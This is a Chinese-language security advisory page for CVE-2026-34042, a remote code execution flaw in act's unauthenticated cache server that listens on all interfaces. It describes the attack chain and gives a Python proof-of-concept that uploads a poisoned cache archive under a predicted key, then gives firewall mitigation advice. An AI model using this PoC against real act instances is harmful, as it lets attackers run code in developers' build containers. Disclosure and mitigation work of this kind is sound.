IPBUF安全漏洞报告
English
CVE-2026-34042 CVSS 8.2 高危

CVE-2026-34042 act远程代码执行漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34042
漏洞类型
远程代码执行
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
act

相关标签

远程代码执行actGitHub Actions缓存服务器Docker

漏洞概述

act项目0.2.86之前版本存在严重安全漏洞。其内置的actions/cache服务器监听所有网络接口,允许任何人连接并创建或检索缓存。攻击者若能预测本地Actions使用的缓存键,便可注入恶意文件,极有可能导致在Docker容器内执行任意代码,造成严重安全风险。

技术细节

该漏洞源于act项目在处理GitHub Actions缓存时的配置不当。在受影响版本中,act启动的内置缓存服务器绑定到0.0.0.0,监听所有网络接口,且缺乏身份验证机制。攻击者无需认证即可通过网络访问服务器端点。利用该漏洞的关键在于预测目标本地Actions将使用的缓存键。一旦预测成功,攻击者可以向这些键写入包含恶意内容的缓存文件。当本地act运行Actions并尝试恢复缓存时,恶意文件将被解压到容器内的特定路径,从而可能覆盖合法文件或在构建过程中被执行,最终导致攻击者在Docker容器内获得远程代码执行权限。

攻击链分析

STEP 1
信息收集
攻击者扫描目标主机,发现act缓存服务开放的端口(通常监听0.0.0.0)。
STEP 2
预测缓存键
攻击者分析目标项目的GitHub Actions工作流,预测可能使用的缓存键名称。
STEP 3
注入恶意缓存
攻击者向缓存服务器发送请求,使用预测的键创建并上传包含恶意文件的缓存。
STEP 4
触发漏洞
当本地开发者运行act执行Actions并尝试恢复缓存时,恶意文件被下载并解压。
STEP 5
执行代码
恶意文件被构建过程调用,导致在Docker容器内执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import zipfile import io # Exploit for CVE-2026-34042 # This script uploads a malicious cache to a vulnerable act server. def generate_malicious_cache(): # Create a zip file in memory containing a malicious script buffer = io.BytesIO() with zipfile.ZipFile(buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Add a file that will be extracted to the workspace zf.writestr('malicious.sh', '#!/bin/bash\necho "pwned" > /tmp/pwned.txt') buffer.seek(0) return buffer.getvalue() def exploit(target_host, cache_key): url = f"http://{target_host}/_apis/artifactcache/caches" headers = {"Content-Type": "application/json"} # Step 1: Reserve a cache entry payload = { "key": cache_key, "version": "1.0" } try: r = requests.post(url, json=payload, headers=headers, timeout=5) if r.status_code == 200: cache_id = r.json().get('cacheId') print(f"[+] Cache reserved with ID: {cache_id}") # Step 2: Upload the malicious content upload_url = f"http://{target_host}/_apis/artifactcache/caches/{cache_id}" files = {'file': ('archive.zip', generate_malicious_cache(), 'application/zip')} upload_r = requests.put(upload_url, files=files, timeout=5) if upload_r.status_code == 200: print("[+] Malicious cache uploaded successfully.") else: print(f"[-] Upload failed: {upload_r.status_code}") else: print(f"[-] Failed to reserve cache: {r.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Target host and a predicted cache key target = "localhost:5000" # Example port, check actual configuration predicted_key = "Linux-node-modules-" exploit(target, predicted_key)

影响范围

act < 0.2.86

防御指南

临时缓解措施
如果无法立即升级,请确保在防火墙层面阻断外部对act缓存服务端口的入站连接,仅允许本地回环地址访问,以防止远程攻击者利用该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表